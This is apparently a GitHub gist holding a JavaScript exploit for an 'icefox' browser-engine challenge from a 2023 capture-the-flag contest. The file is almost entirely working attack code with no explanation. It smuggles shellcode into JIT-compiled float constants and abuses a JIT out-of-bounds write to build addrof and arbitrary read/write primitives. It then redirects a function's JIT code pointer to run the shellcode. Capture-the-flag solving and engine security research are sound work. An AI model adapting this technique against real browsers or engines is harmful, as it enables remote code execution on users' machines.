Created
July 18, 2023 09:27
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2023_gpnctf_icefox.js
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let _buf = new ArrayBuffer(8); | |
let _flt = new Float64Array(_buf); | |
let _int = new BigUint64Array(_buf); | |
const itof = x => { | |
_int[0] = x; | |
return _flt[0]; | |
}; | |
const pwn = () => { | |
return [ | |
1.8457939563e-314, | |
4.350248014025832e+199, | |
-6.032030672671943e-264, | |
1.6476837785e-314, | |
6.805647357708692e+38, | |
2.605888325577797e-284 | |
]; | |
}; | |
for (let i = 0; i < 1_000_000; i++) { | |
pwn(); | |
} | |
function foo(x) { | |
let arr = new Array(1.1, 2.2, 3.3); | |
let oob = new Array(1.1, 2.2, 3.3); | |
let rdw = new BigUint64Array(1); | |
let obj = new Array({a: 1}, {b: 2}, {c: 3}); | |
arr[10 * x] = itof(0x133700000000n); | |
arr[11 * x] = itof(0x133700001337n); | |
return { oob, rdw, obj }; | |
} | |
for (let i = 0; i < 1_000_000; i++) { | |
foo(0); | |
} | |
const { oob, rdw, obj } = foo(1); | |
const addrof = o => { | |
let tmp = oob[13]; | |
oob[13] = oob[39]; | |
obj[0] = o; | |
let ret = rdw[0] & 0xffffffffffffn; | |
oob[13] = tmp; | |
return ret; | |
}; | |
const read = p => { | |
let tmp = oob[13]; | |
oob[13] = itof(p); | |
let ret = rdw[0]; | |
oob[13] = tmp; | |
return ret; | |
}; | |
const write = (p, x) => { | |
let tmp = oob[13]; | |
oob[13] = itof(p); | |
rdw[0] = x; | |
oob[13] = tmp; | |
}; | |
let jit = read(addrof(pwn) + 0x28n); | |
let code = read(jit); | |
for (var i = 512n; i < 4096n; i++) { | |
if (read(code + i) == 0xdeadbeefn) break; | |
} | |
let shellcode = code + i + 8n; | |
write(jit, shellcode); | |
pwn(); |
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